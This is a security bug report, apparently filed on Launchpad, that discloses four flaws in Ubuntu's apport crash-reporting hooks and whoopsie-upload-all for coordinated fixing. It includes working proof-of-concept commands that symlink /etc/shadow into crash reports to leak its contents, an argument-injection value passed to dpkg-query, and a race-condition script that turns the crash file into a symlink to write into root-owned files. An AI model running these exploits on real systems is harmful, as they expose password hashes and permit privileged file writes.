Comment 0 for bug 1917904

Revision history for this message
mal (mallle) wrote :

# Vulnerabilities in Apport
During a cursory code review, several potential security issues in `apport` and
crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been
identified.

While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated by
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.

With regard to issues mitigated by `fs.protected_symlinks`, it is not clear if
they are considered to be part of the threat model, but nonetheless will be
included in this report. Further, if the issues regarding package hooks should
be reported in the corresponding packages' bug tracker, please let me know.

## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py (Medium)
The `add_info()` function allows for a directory traversal by building a file
path using user-controlled data without properly sanitizing the resulting path.

```Python
def add_info(report, ui=None):
    if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
            path = "%s/hs_err_pid%s.log" % (cwd, pid)
            # make sure if exists
            if os.path.exists(path):
                content = read_file(path)
                # truncate if bigger than 100 KB
                # see LP: #1696814
                max_length = 100*1024
                if sys.getsizeof(content) < max_length:
                    report['HotspotError'] = content
                    report['Tags'] += ' openjdk-hs-err'
                else:
                    report['HotspotError'] = content[:max_length] + \
                            "\n[truncated by openjdk-11 apport hook]" + \
                            "\n[max log size is %s, file size was %s]" % \
                            (si_units(max_length), si_units(sys.getsizeof(content)))
                    report['Tags'] += ' openjdk-hs-err'
```

By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`, the
function includes an arbitrary file by following a potential symbolic link
`/home/user/hs_err_pid0.log`.

### PoC
```
$ sudo apt install openjdk-14-jdk

$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 1

$ ln -s /etc/shadow /home/user/hs_err_pid0.log

$ pid=$'\t0';cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF

$ grep -A3 root: /var/crash/poc.crash
 root:!:18393:0:99999:7:::
 daemon:*:18375:0:99999:7:::
 bin:*:18375:0:99999:7:::
 sys:*:18375:0:99999:7:::
```

## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
The root cause of this issue stems from the fact, that a potentially
user-controlled file in the `/tmp` directory is not checked for being a symbolic
link and therefore might allow including arbitrary files in the processed
crash report:

Note: Requires `fs.protected_symlinks=0`

```Python
def attach_3d_info(report, ui=None):
    ...

    # Compiz internal state if compiz crashed
    if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" in report:
        compiz_pid = 0
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            compiz_pid = pid_line.groups()[0]
        compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
        attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")
```

### PoC
```
$ sudo sysctl fs.protected_symlinks=0
fs.protected_symlinks = 0

$ ln -s /etc/shadow /tmp/compiz_internal_state0

$ cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
 Pid:
EOF

$ grep -A3 compiz_internal poc.crash
compiz_internal_states:
 root:!:18686:0:99999:7:::
 daemon:*:18474:0:99999:7:::
 bin:*:18474:0:99999:7:::
```

## Issue 3: Spoof modified configuration files via argument injection (Info)
The `get_modified_conffiles()` function allows to spoof modified configuration
files by a controlled package name:

```Python
def get_modified_conffiles(self, package):
...
    dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=${Conffiles}',
                              package], stdout=subprocess.PIPE)
```

By supplying a `package` name such as `--showformat='${Conffiles;6}shadow 1\n'`
it is possible to manipulate dpkg-query's output and therefore to include the
`shadow` file in the resulting crash report.

Please note however that this function is seemingly only called
in the `attach_conffiles()` function, which subsequently requires a UI response
of the user to finally include the file in the crash report.

### PoC
```
$ dpkg-query -W --showformat='${Conffiles}' --showformat='${Conffiles;6}shadow 1\n' | head -n2
 /etc/shadow 1
      shadow 1
```

## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
After adding additional information to the crash file, `whoopsie-upload-all`
does not check if the crash file was replaced by a symbolic link before
writing the extended report back into the file. Thus, replacing the crash
file with a symbolic link allows to write into arbitrary files using
`whoopsie-upload-all`'s elevated privileges. By using a program's lax
configuration parsing (e.g. `logrotate`), this might lead to code execution.

Note: Requires `fs.protected_symlinks=0`

```Python
def process_report(report):
    '''Collect information for a report and mark for whoopsie upload
    ...
        # write updated report, we use os.open and os.fdopen as
        # /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
        fd = os.open(report, os.O_WRONLY | os.O_APPEND)
        with os.fdopen(fd, 'wb') as f:
            os.chmod(report, 0)
            r.write(f, only_new=True)
            os.chmod(report, 0o640)
```

### PoC
```
$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 0

$ cat ex.sh
TARGET="/JRN"
while :; do
  FN="/var/crash/$RANDOM.poc.crash"
  pid=$'\t0';cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF
  while :; do
    if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi
  done
  sleep 0.3
  rm -f $FN
  ln -s $TARGET $FN

  if [ -s /JRN ]; then echo DONE.; break; fi
done

$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN

$ bash ex.sh
DONE.

$ ls -l /JRN; sudo head -n3 /JRN
-rw-r----- 1 root root 105028 M�r 3 14:16 /JRN
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
CasperMD5CheckResult: skip
```

# Credits
Please credit <email address hidden> (@fktio) if the issues are considered
valid. Further, please coordinate the patch release date with us, in case we
consider publishing a short article about these issues.

Best regard,
maik